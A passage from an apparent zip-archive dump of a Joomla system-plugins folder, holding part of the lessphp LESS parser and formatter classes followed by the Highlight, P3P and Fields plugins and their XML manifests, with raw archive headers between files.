				if ($nestingOpen) {
					$nestingLevel += substr_count($m[1], $nestingOpen);
				}
			}

			$tok = $m[2];

			$this->count-= strlen($tok);
			if ($tok == $end) {
				if ($nestingLevel == 0) {
					break;
				} else {
					$nestingLevel--;
				}
			}

			if (($tok == "'" || $tok == '"') && $this->string($str)) {
				$content[] = $str;
				continue;
			}

			if ($tok == "@{" && $this->interpolation($inter)) {
				$content[] = $inter;
				continue;
			}

			if (in_array($tok, $rejectStrs)) {
				$count = null;
				break;
			}


			$content[] = $tok;
			$this->count+= strlen($tok);
		}

		$this->eatWhiteDefault = $oldWhite;

		if (count($content) == 0) return false;

		// trim the end
		if (is_string(end($content))) {
			$content[count($content) - 1] = rtrim(end($content));
		}

		$out = array("string", "", $content);
		return true;
	}

	protected function string(&$out) {
		$s = $this->seek();
		if ($this->literal('"', false)) {
			$delim = '"';
		} elseif ($this->literal("'", false)) {
			$delim = "'";
		} else {
			return false;
		}

		$content = array();

		// look for either ending delim , escape, or string interpolation
		$patt = '([^\n]*?)(@\{|\\\\|' .
			lessc::preg_quote($delim).')';

		$oldWhite = $this->eatWhiteDefault;
		$this->eatWhiteDefault = false;

		while ($this->match($patt, $m, false)) {
			$content[] = $m[1];
			if ($m[2] == "@{") {
				$this->count -= strlen($m[2]);
				if ($this->interpolation($inter, false)) {
					$content[] = $inter;
				} else {
					$this->count += strlen($m[2]);
					$content[] = "@{"; // ignore it
				}
			} elseif ($m[2] == '\\') {
				$content[] = $m[2];
				if ($this->literal($delim, false)) {
					$content[] = $delim;
				}
			} else {
				$this->count -= strlen($delim);
				break; // delim
			}
		}

		$this->eatWhiteDefault = $oldWhite;

		if ($this->literal($delim)) {
			$out = array("string", $delim, $content);
			return true;
		}

		$this->seek($s);
		return false;
	}

	protected function interpolation(&$out) {
		$oldWhite = $this->eatWhiteDefault;
		$this->eatWhiteDefault = true;

		$s = $this->seek();
		if ($this->literal("@{") &&
			$this->keyword($var) &&
			$this->literal("}", false))
		{
			$out = array("variable", $this->lessc->vPrefix . $var);
			$this->eatWhiteDefault = $oldWhite;
			if ($this->eatWhiteDefault) $this->whitespace();
			return true;
		}

		$this->eatWhiteDefault = $oldWhite;
		$this->seek($s);
		return false;
	}

	protected function unit(&$unit) {
		// speed shortcut
		if (isset($this->buffer[$this->count])) {
			$char = $this->buffer[$this->count];
			if (!ctype_digit($char) && $char != ".") return false;
		}

		if ($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?', $m)) {
			$unit = array("number", $m[1], empty($m[2]) ? "" : $m[2]);
			return true;
		}
		return false;
	}

	// a # color
	protected function color(&$out) {
		if ($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))', $m)) {
			if (strlen($m[1]) > 7) {
				$out = array("string", "", array($m[1]));
			} else {
				$out = array("raw_color", $m[1]);
			}
			return true;
		}

		return false;
	}

	// consume a list of property values delimited by ; and wrapped in ()
	protected function argumentValues(&$args, $delim = ',') {
		$s = $this->seek();
		if (!$this->literal('(')) return false;

		$values = array();
		while (true) {
			if ($this->expressionList($value)) $values[] = $value;
			if (!$this->literal($delim)) break;
			else {
				if ($value == null) $values[] = null;
				$value = null;
			}
		}

		if (!$this->literal(')')) {
			$this->seek($s);
			return false;
		}

		$args = $values;
		return true;
	}

	// consume an argument definition list surrounded by ()
	// each argument is a variable name with optional value
	// or at the end a ... or a variable named followed by ...
	protected function argumentDef(&$args, &$isVararg, $delim = ',') {
		$s = $this->seek();
		if (!$this->literal('(')) return false;

		$values = array();

		$isVararg = false;
		while (true) {
			if ($this->literal("...")) {
				$isVararg = true;
				break;
			}

			if ($this->variable($vname)) {
				$arg = array("arg", $vname);
				$ss = $this->seek();
				if ($this->assign() && $this->expressionList($value)) {
					$arg[] = $value;
				} else {
					$this->seek($ss);
					if ($this->literal("...")) {
						$arg[0] = "rest";
						$isVararg = true;
					}
				}
				$values[] = $arg;
				if ($isVararg) break;
				continue;
			}

			if ($this->value($literal)) {
				$values[] = array("lit", $literal);
			}

			if (!$this->literal($delim)) break;
		}

		if (!$this->literal(')')) {
			$this->seek($s);
			return false;
		}

		$args = $values;

		return true;
	}

	// consume a list of tags
	// this accepts a hanging delimiter
	protected function tags(&$tags, $simple = false, $delim = ',') {
		$tags = array();
		while ($this->tag($tt, $simple)) {
			$tags[] = $tt;
			if (!$this->literal($delim)) break;
		}
		if (count($tags) == 0) return false;

		return true;
	}

	// list of tags of specifying mixin path
	// optionally separated by > (lazy, accepts extra >)
	protected function mixinTags(&$tags) {
		$s = $this->seek();
		$tags = array();
		while ($this->tag($tt, true)) {
			$tags[] = $tt;
			$this->literal(">");
		}

		if (count($tags) == 0) return false;

		return true;
	}

	// a bracketed value (contained within in a tag definition)
	protected function tagBracket(&$value) {
		// speed shortcut
		if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "[") {
			return false;
		}

		$s = $this->seek();
		if ($this->literal('[') && $this->to(']', $c, true) && $this->literal(']', false)) {
			$value = '['.$c.']';
			// whitespace?
			if ($this->whitespace()) $value .= " ";

			// escape parent selector, (yuck)
			$value = str_replace($this->lessc->parentSelector, "$&$", $value);
			return true;
		}

		$this->seek($s);
		return false;
	}

	protected function tagExpression(&$value) {
		$s = $this->seek();
		if ($this->literal("(") && $this->expression($exp) && $this->literal(")")) {
			$value = array('exp', $exp);
			return true;
		}

		$this->seek($s);
		return false;
	}

	// a single tag
	protected function tag(&$tag, $simple = false) {
		if ($simple)
			$chars = '^,:;{}\][>\(\) "\'';
		else
			$chars = '^,;{}["\'';

		if (!$simple && $this->tagExpression($tag)) {
			return true;
		}

		$tag = '';
		while ($this->tagBracket($first)) $tag .= $first;

		while (true) {
			if ($this->match('(['.$chars.'0-9]['.$chars.']*)', $m)) {
				$tag .= $m[1];
				if ($simple) break;

				while ($this->tagBracket($brack)) $tag .= $brack;
				continue;
			} elseif ($this->unit($unit)) { // for keyframes
				$tag .= $unit[1] . $unit[2];
				continue;
			}
			break;
		}


		$tag = trim($tag);
		if ($tag == '') return false;

		return true;
	}

	// a css function
	protected function func(&$func) {
		$s = $this->seek();

		if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m) && $this->literal('(')) {
			$fname = $m[1];

			$sPreArgs = $this->seek();

			$args = array();
			while (true) {
				$ss = $this->seek();
				// this ugly nonsense is for ie filter properties
				if ($this->keyword($name) && $this->literal('=') && $this->expressionList($value)) {
					$args[] = array("string", "", array($name, "=", $value));
				} else {
					$this->seek($ss);
					if ($this->expressionList($value)) {
						$args[] = $value;
					}
				}

				if (!$this->literal(',')) break;
			}
			$args = array('list', ',', $args);

			if ($this->literal(')')) {
				$func = array('function', $fname, $args);
				return true;
			} elseif ($fname == 'url') {
				// couldn't parse and in url? treat as string
				$this->seek($sPreArgs);
				if ($this->openString(")", $string) && $this->literal(")")) {
					$func = array('function', $fname, $string);
					return true;
				}
			}
		}

		$this->seek($s);
		return false;
	}

	// consume a less variable
	protected function variable(&$name) {
		$s = $this->seek();
		if ($this->literal($this->lessc->vPrefix, false) &&
			($this->variable($sub) || $this->keyword($name)))
		{
			if (!empty($sub)) {
				$name = array('variable', $sub);
			} else {
				$name = $this->lessc->vPrefix.$name;
			}
			return true;
		}

		$name = null;
		$this->seek($s);
		return false;
	}

	/**
	 * Consume an assignment operator
	 * Can optionally take a name that will be set to the current property name
	 */
	protected function assign($name = null) {
		if ($name) $this->currentProperty = $name;
		return $this->literal(':') || $this->literal('=');
	}

	// consume a keyword
	protected function keyword(&$word) {
		if ($this->match('([\w_\-\*!"][\w\-_"]*)', $m)) {
			$word = $m[1];
			return true;
		}
		return false;
	}

	// consume an end of statement delimiter
	protected function end() {
		if ($this->literal(';')) {
			return true;
		} elseif ($this->count == strlen($this->buffer) || $this->buffer{$this->count} == '}') {
			// if there is end of file or a closing block next then we don't need a ;
			return true;
		}
		return false;
	}

	protected function guards(&$guards) {
		$s = $this->seek();

		if (!$this->literal("when")) {
			$this->seek($s);
			return false;
		}

		$guards = array();

		while ($this->guardGroup($g)) {
			$guards[] = $g;
			if (!$this->literal(",")) break;
		}

		if (count($guards) == 0) {
			$guards = null;
			$this->seek($s);
			return false;
		}

		return true;
	}

	// a bunch of guards that are and'd together
	// TODO rename to guardGroup
	protected function guardGroup(&$guardGroup) {
		$s = $this->seek();
		$guardGroup = array();
		while ($this->guard($guard)) {
			$guardGroup[] = $guard;
			if (!$this->literal("and")) break;
		}

		if (count($guardGroup) == 0) {
			$guardGroup = null;
			$this->seek($s);
			return false;
		}

		return true;
	}

	protected function guard(&$guard) {
		$s = $this->seek();
		$negate = $this->literal("not");

		if ($this->literal("(") && $this->expression($exp) && $this->literal(")")) {
			$guard = $exp;
			if ($negate) $guard = array("negate", $guard);
			return true;
		}

		$this->seek($s);
		return false;
	}

	/* raw parsing functions */

	protected function literal($what, $eatWhitespace = null) {
		if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault;

		// shortcut on single letter
		if (!isset($what[1]) && isset($this->buffer[$this->count])) {
			if ($this->buffer[$this->count] == $what) {
				if (!$eatWhitespace) {
					$this->count++;
					return true;
				}
				// goes below...
			} else {
				return false;
			}
		}

		if (!isset(self::$literalCache[$what])) {
			self::$literalCache[$what] = lessc::preg_quote($what);
		}

		return $this->match(self::$literalCache[$what], $m, $eatWhitespace);
	}

	protected function genericList(&$out, $parseItem, $delim="", $flatten=true) {
		$s = $this->seek();
		$items = array();
		while ($this->$parseItem($value)) {
			$items[] = $value;
			if ($delim) {
				if (!$this->literal($delim)) break;
			}
		}

		if (count($items) == 0) {
			$this->seek($s);
			return false;
		}

		if ($flatten && count($items) == 1) {
			$out = $items[0];
		} else {
			$out = array("list", $delim, $items);
		}

		return true;
	}


	// advance counter to next occurrence of $what
	// $until - don't include $what in advance
	// $allowNewline, if string, will be used as valid char set
	protected function to($what, &$out, $until = false, $allowNewline = false) {
		if (is_string($allowNewline)) {
			$validChars = $allowNewline;
		} else {
			$validChars = $allowNewline ? "." : "[^\n]";
		}
		if (!$this->match('('.$validChars.'*?)'.lessc::preg_quote($what), $m, !$until)) return false;
		if ($until) $this->count -= strlen($what); // give back $what
		$out = $m[1];
		return true;
	}

	// try to match something on head of buffer
	protected function match($regex, &$out, $eatWhitespace = null) {
		if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault;

		$r = '/'.$regex.($eatWhitespace && !$this->writeComments ? '\s*' : '').'/Ais';
		if (preg_match($r, $this->buffer, $out, null, $this->count)) {
			$this->count += strlen($out[0]);
			if ($eatWhitespace && $this->writeComments) $this->whitespace();
			return true;
		}
		return false;
	}

	// match some whitespace
	protected function whitespace() {
		if ($this->writeComments) {
			$gotWhite = false;
			while (preg_match(self::$whitePattern, $this->buffer, $m, null, $this->count)) {
				if (isset($m[1]) && empty($this->commentsSeen[$this->count])) {
					$this->append(array("comment", $m[1]));
					$this->commentsSeen[$this->count] = true;
				}
				$this->count += strlen($m[0]);
				$gotWhite = true;
			}
			return $gotWhite;
		} else {
			$this->match("", $m);
			return strlen($m[0]) > 0;
		}
	}

	// match something without consuming it
	protected function peek($regex, &$out = null, $from=null) {
		if (is_null($from)) $from = $this->count;
		$r = '/'.$regex.'/Ais';
		$result = preg_match($r, $this->buffer, $out, null, $from);

		return $result;
	}

	// seek to a spot in the buffer or return where we are on no argument
	protected function seek($where = null) {
		if ($where === null) return $this->count;
		else $this->count = $where;
		return true;
	}

	/* misc functions */

	public function throwError($msg = "parse error", $count = null) {
		$count = is_null($count) ? $this->count : $count;

		$line = $this->line +
			substr_count(substr($this->buffer, 0, $count), "\n");

		if (!empty($this->sourceName)) {
			$loc = "$this->sourceName on line $line";
		} else {
			$loc = "line: $line";
		}

		// TODO this depends on $this->count
		if ($this->peek("(.*?)(\n|$)", $m, $count)) {
			throw new exception("$msg: failed at `$m[1]` $loc");
		} else {
			throw new exception("$msg: $loc");
		}
	}

	protected function pushBlock($selectors=null, $type=null) {
		$b = new stdclass;
		$b->parent = $this->env;

		$b->type = $type;
		$b->id = self::$nextBlockId++;

		$b->isVararg = false; // TODO: kill me from here
		$b->tags = $selectors;

		$b->props = array();
		$b->children = array();

		$this->env = $b;
		return $b;
	}

	// push a block that doesn't multiply tags
	protected function pushSpecialBlock($type) {
		return $this->pushBlock(null, $type);
	}

	// append a property to the current block
	protected function append($prop, $pos = null) {
		if ($pos !== null) $prop[-1] = $pos;
		$this->env->props[] = $prop;
	}

	// pop something off the stack
	protected function pop() {
		$old = $this->env;
		$this->env = $this->env->parent;
		return $old;
	}

	// remove comments from $text
	// todo: make it work for all functions, not just url
	protected function removeComments($text) {
		$look = array(
			'url(', '//', '/*', '"', "'"
		);

		$out = '';
		$min = null;
		while (true) {
			// find the next item
			foreach ($look as $token) {
				$pos = strpos($text, $token);
				if ($pos !== false) {
					if (!isset($min) || $pos < $min[1]) $min = array($token, $pos);
				}
			}

			if (is_null($min)) break;

			$count = $min[1];
			$skip = 0;
			$newlines = 0;
			switch ($min[0]) {
			case 'url(':
				if (preg_match('/url\(.*?\)/', $text, $m, 0, $count))
					$count += strlen($m[0]) - strlen($min[0]);
				break;
			case '"':
			case "'":
				if (preg_match('/'.$min[0].'.*?'.$min[0].'/', $text, $m, 0, $count))
					$count += strlen($m[0]) - 1;
				break;
			case '//':
				$skip = strpos($text, "\n", $count);
				if ($skip === false) $skip = strlen($text) - $count;
				else $skip -= $count;
				break;
			case '/*':
				if (preg_match('/\/\*.*?\*\//s', $text, $m, 0, $count)) {
					$skip = strlen($m[0]);
					$newlines = substr_count($m[0], "\n");
				}
				break;
			}

			if ($skip == 0) $count += strlen($min[0]);

			$out .= substr($text, 0, $count).str_repeat("\n", $newlines);
			$text = substr($text, $count + $skip);

			$min = null;
		}

		return $out.$text;
	}

}

class lessc_formatter_classic {
	public $indentChar = "  ";

	public $break = "\n";
	public $open = " {";
	public $close = "}";
	public $selectorSeparator = ", ";
	public $assignSeparator = ":";

	public $openSingle = " { ";
	public $closeSingle = " }";

	public $disableSingle = false;
	public $breakSelectors = false;

	public $compressColors = false;

	public function __construct() {
		$this->indentLevel = 0;
	}

	public function indentStr($n = 0) {
		return str_repeat($this->indentChar, max($this->indentLevel + $n, 0));
	}

	public function property($name, $value) {
		return $name . $this->assignSeparator . $value . ";";
	}

	protected function isEmpty($block) {
		if (empty($block->lines)) {
			foreach ($block->children as $child) {
				if (!$this->isEmpty($child)) return false;
			}

			return true;
		}
		return false;
	}

	public function block($block) {
		if ($this->isEmpty($block)) return;

		$inner = $pre = $this->indentStr();

		$isSingle = !$this->disableSingle &&
			is_null($block->type) && count($block->lines) == 1;

		if (!empty($block->selectors)) {
			$this->indentLevel++;

			if ($this->breakSelectors) {
				$selectorSeparator = $this->selectorSeparator . $this->break . $pre;
			} else {
				$selectorSeparator = $this->selectorSeparator;
			}

			echo $pre .
				implode($selectorSeparator, $block->selectors);
			if ($isSingle) {
				echo $this->openSingle;
				$inner = "";
			} else {
				echo $this->open . $this->break;
				$inner = $this->indentStr();
			}

		}

		if (!empty($block->lines)) {
			$glue = $this->break.$inner;
			echo $inner . implode($glue, $block->lines);
			if (!$isSingle && !empty($block->children)) {
				echo $this->break;
			}
		}

		foreach ($block->children as $child) {
			$this->block($child);
		}

		if (!empty($block->selectors)) {
			if (!$isSingle && empty($block->children)) echo $this->break;

			if ($isSingle) {
				echo $this->closeSingle . $this->break;
			} else {
				echo $pre . $this->close . $this->break;
			}

			$this->indentLevel--;
		}
	}
}

class lessc_formatter_compressed extends lessc_formatter_classic {
	public $disableSingle = true;
	public $open = "{";
	public $selectorSeparator = ",";
	public $assignSeparator = ":";
	public $break = "";
	public $compressColors = true;

	public function indentStr($n = 0) {
		return "";
	}
}

class lessc_formatter_lessjs extends lessc_formatter_classic {
	public $disableSingle = true;
	public $breakSelectors = true;
	public $assignSeparator = ": ";
	public $selectorSeparator = ",";
}


PK!4�B]--bluejoomla/fields/params.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="params" addfieldpath="/plugins/system/bluejoomla/fields">
	<fieldset name="bjoptions" label="BJ Options">
        <field name="xml_page_subtitle" type="text"  label="Page subtitle" description="">
		</field>
	</fieldset>
	</fields>
</form>
PK!bluejoomla/fields/index.htmlnu&1i�PK!�B#�highlight/highlight.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Highlight
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\Component\Finder\Administrator\Indexer\Result;

/**
 * System plugin to highlight terms.
 *
 * @since  2.5
 */
class PlgSystemHighlight extends CMSPlugin
{
	/**
	 * Application object.
	 *
	 * @var    \Joomla\CMS\Application\CMSApplication
	 * @since  3.7.0
	 */
	protected $app;

	/**
	 * Method to catch the onAfterDispatch event.
	 *
	 * This is where we setup the click-through content highlighting for.
	 * The highlighting is done with JavaScript so we just
	 * need to check a few parameters and the JHtml behavior will do the rest.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onAfterDispatch()
	{
		// Check that we are in the site application.
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		// Set the variables.
		$input     = $this->app->input;
		$extension = $input->get('option', '', 'cmd');

		// Check if the highlighter is enabled.
		if (!ComponentHelper::getParams($extension)->get('highlight_terms', 1))
		{
			return;
		}

		// Check if the highlighter should be activated in this environment.
		if ($input->get('tmpl', '', 'cmd') === 'component' || $this->app->getDocument()->getType() !== 'html')
		{
			return;
		}

		// Get the terms to highlight from the request.
		$terms = $input->request->get('highlight', null, 'base64');
		$terms = $terms ? json_decode(base64_decode($terms)) : null;

		// Check the terms.
		if (empty($terms))
		{
			return;
		}

		// Clean the terms array.
		$filter     = InputFilter::getInstance();

		$cleanTerms = array();

		foreach ($terms as $term)
		{
			$cleanTerms[] = htmlspecialchars($filter->clean($term, 'string'));
		}

		// Activate the highlighter.
		if (!empty($cleanTerms))
		{
			$doc = Factory::getDocument();

			$doc->getWebAssetManager()->useScript('highlight');
			$doc->addScriptOptions(
				'highlight',
				[[
					'class'      => 'js-highlight',
					'highLight'  => $cleanTerms,
				]]
			);
		}

		// Adjust the component buffer.
		/** @var \Joomla\CMS\Document\HtmlDocument $doc */
		$doc = $this->app->getDocument();
		$buf = $doc->getBuffer('component');
		$buf = '<div class="js-highlight">' . $buf . '</div>';
		$doc->setBuffer($buf, 'component');
	}

	/**
	 * Method to catch the onFinderResult event.
	 *
	 * @param   Result  $item   The search result
	 * @param   array   $query  The search query of this result
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onFinderResult($item, $query)
	{
		static $params;

		if (is_null($params))
		{
			$params = ComponentHelper::getParams('com_finder');
		}

		// Get the route with highlighting information.
		if (!empty($query->highlight)
			&& empty($item->mime)
			&& $params->get('highlight_terms', 1))
		{
			$item->route .= '&highlight=' . base64_encode(json_encode($query->highlight));
		}
	}
}
PK!�y&&highlight/highlight.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_highlight</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see	LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_HIGHLIGHT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="highlight">highlight.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_highlight.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_highlight.sys.ini</language>
	</languages>
</extension>
PK!�g��p3p/p3p.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.p3p
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! P3P Header Plugin.
 *
 * @since  1.6
 * @deprecate  4.0  Obsolete
 */
class PlgSystemP3p extends JPlugin
{
	/**
	 * After initialise.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @deprecate  4.0  Obsolete
	 */
	public function onAfterInitialise()
	{
		// Get the header.
		$header = $this->params->get('header', 'NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM');
		$header = trim($header);

		// Bail out on empty header (why would anyone do that?!).
		if (empty($header))
		{
			return;
		}

		// Replace any existing P3P headers in the response.
		JFactory::getApplication()->setHeader('P3P', 'CP="' . $header . '"', true);
	}
}
PK!�!$$p3p/p3p.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_p3p</name>
	<author>Joomla! Project</author>
	<creationDate>September 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_P3P_XML_DESCRIPTION</description>
	<files>
		<filename plugin="p3p">p3p.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_system_p3p.ini</language>
		<language tag="en-GB">en-GB.plg_system_p3p.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="header"
					type="text"
					label="PLG_P3P_HEADER_LABEL"
					description="PLG_P3P_HEADER_DESCRIPTION"
					default="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
					size="37"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��ETfields/fields.xmlnu&1i�<?xml version="1.0" encoding="utf-8" ?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_fields</name>
	<author>Joomla! Project</author>
	<creationDate>March 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_SYSTEM_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_fields.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_fields.sys.ini</language>
	</languages>
</extension>
PK!v��3�3fields/fields.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
use Joomla\Component\Finder\Administrator\Indexer\Indexer;
use Joomla\Registry\Registry;

/**
 * Fields Plugin
 *
 * @since  3.7
 */
class PlgSystemFields extends CMSPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Normalizes the request data.
	 *
	 * @param   string  $context  The context
	 * @param   object  $data     The object
	 * @param   Form    $form     The form
	 *
	 * @return  void
	 *
	 * @since   3.8.7
	 */
	public function onContentNormaliseRequestData($context, $data, Form $form)
	{
		if (!FieldsHelper::extract($context, $data))
		{
			return;
		}

		// Loop over all fields
		foreach ($form->getGroup('com_fields') as $field)
		{
			if ($field->disabled === true)
			{
				/**
				 * Disabled fields should NEVER be added to the request as
				 * they should NEVER be added by the browser anyway so nothing to check against
				 * as "disabled" means no interaction at all.
				 */

				// Make sure the data object has an entry before delete it
				if (isset($data->com_fields[$field->fieldname]))
				{
					unset($data->com_fields[$field->fieldname]);
				}

				continue;
			}

			// Make sure the data object has an entry
			if (isset($data->com_fields[$field->fieldname]))
			{
				continue;
			}

			// Set a default value for the field
			$data->com_fields[$field->fieldname] = false;
		}
	}

	/**
	 * The save event.
	 *
	 * @param   string   $context  The context
	 * @param   JTable   $item     The table
	 * @param   boolean  $isNew    Is new item
	 * @param   array    $data     The validated data
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterSave($context, $item, $isNew, $data = array()): void
	{
		// Check if data is an array and the item has an id
		if (!is_array($data) || empty($item->id) || empty($data['com_fields']))
		{
			return;
		}

		// Create correct context for category
		if ($context === 'com_categories.category')
		{
			$context = $item->extension . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			$item->catid = $item->id;
		}

		// Check the context
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts)
		{
			return;
		}

		// Compile the right context for the fields
		$context = $parts[0] . '.' . $parts[1];

		// Loading the fields
		$fields = FieldsHelper::getFields($context, $item);

		if (!$fields)
		{
			return;
		}

		// Loading the model

		/** @var \Joomla\Component\Fields\Administrator\Model\FieldModel $model */
		$model = Factory::getApplication()->bootComponent('com_fields')->getMVCFactory()
			->createModel('Field', 'Administrator', ['ignore_request' => true]);

		// Loop over the fields
		foreach ($fields as $field)
		{
			// Determine the value if it is (un)available from the data
			if (array_key_exists($field->name, $data['com_fields']))
			{
				$value = $data['com_fields'][$field->name] === false ? null : $data['com_fields'][$field->name];
			}
			// Field not available on form, use stored value
			else
			{
				$value = $field->rawvalue;
			}

			// If no value set (empty) remove value from database
			if (is_array($value) ? !count($value) : !strlen($value))
			{
				$value = null;
			}

			// JSON encode value for complex fields
			if (is_array($value) && (count($value, COUNT_NORMAL) !== count($value, COUNT_RECURSIVE) || !count(array_filter(array_keys($value), 'is_numeric'))))
			{
				$value = json_encode($value);
			}

			// Setting the value for the field and the item
			$model->setFieldValue($field->id, $item->id, $value);
		}
	}

	/**
	 * The save event.
	 *
	 * @param   array    $userData  The date
	 * @param   boolean  $isNew     Is new
	 * @param   boolean  $success   Is success
	 * @param   string   $msg       The message
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onUserAfterSave($userData, $isNew, $success, $msg): void
	{
		// It is not possible to manipulate the user during save events
		// Check if data is valid or we are in a recursion
		if (!$userData['id'] || !$success)
		{
			return;
		}

		$user = Factory::getUser($userData['id']);

		$task = Factory::getApplication()->input->getCmd('task');

		// Skip fields save when we activate a user, because we will lose the saved data
		if (in_array($task, array('activate', 'block', 'unblock')))
		{
			return;
		}

		// Trigger the events with a real user
		$this->onContentAfterSave('com_users.user', $user, false, $userData);
	}

	/**
	 * The delete event.
	 *
	 * @param   string    $context  The context
	 * @param   stdClass  $item     The item
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterDelete($context, $item): void
	{
		$parts = FieldsHelper::extract($context, $item);

		if (!$parts || empty($item->id))
		{
			return;
		}

		$context = $parts[0] . '.' . $parts[1];

		/** @var \Joomla\Component\Fields\Administrator\Model\FieldModel $model */
		$model = Factory::getApplication()->bootComponent('com_fields')->getMVCFactory()
			->createModel('Field', 'Administrator', ['ignore_request' => true]);
		$model->cleanupValues($context, $item->id);
	}

	/**
	 * The user delete event.
	 *
	 * @param   stdClass  $user    The context
	 * @param   boolean   $succes  Is success
	 * @param   string    $msg     The message
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function onUserAfterDelete($user, $succes, $msg): void
	{
		$item     = new stdClass;
		$item->id = $user['id'];

		$this->onContentAfterDelete('com_users.user', $item);
	}

	/**
	 * The form event.
	 *
	 * @param   Form      $form  The form
	 * @param   stdClass  $data  The data
	 *
	 * @return  boolean
	 *
	 * @since   3.7.0
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		$context = $form->getName();

		// When a category is edited, the context is com_categories.categorycom_content
		if (strpos($context, 'com_categories.category') === 0)
		{
			$context = str_replace('com_categories.category', '', $context) . '.categories';

			// Set the catid on the category to get only the fields which belong to this category
			if (is_array($data) && array_key_exists('id', $data))
			{
				$data['catid'] = $data['id'];
			}

			if (is_object($data) && isset($data->id))
			{
				$data->catid = $data->id;
			}
		}

		$parts = FieldsHelper::extract($context, $form);

		if (!$parts)
		{
			return true;
		}

		$input = Factory::getApplication()->input;

		// If we are on the save command we need the actual data
		$jformData = $input->get('jform', array(), 'array');

		if ($jformData && !$data)
		{
			$data = $jformData;
		}

		if (is_array($data))
		{
			$data = (object) $data;
		}

		FieldsHelper::prepareForm($parts[0] . '.' . $parts[1], $form, $data);

		return true;
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentAfterTitle($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 1);
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
	public function onContentBeforeDisplay($context, $item, $params, $limitstart = 0)
	{
		return $this->display($context, $item, $params, 2);
	}

	/**
	 * The display event.
	 *
	 * @param   string    $context     The context
	 * @param   stdClass  $item        The item
	 * @param   Registry  $params      The params
	 * @param   integer   $limitstart  The start
	 *
	 * @return  string
	 *
	 * @since   3.7.0
	 */
